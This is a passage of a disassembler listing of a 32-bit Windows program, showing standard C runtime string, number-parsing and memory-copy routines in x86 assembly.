		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 269074Ch
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2690CE2h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

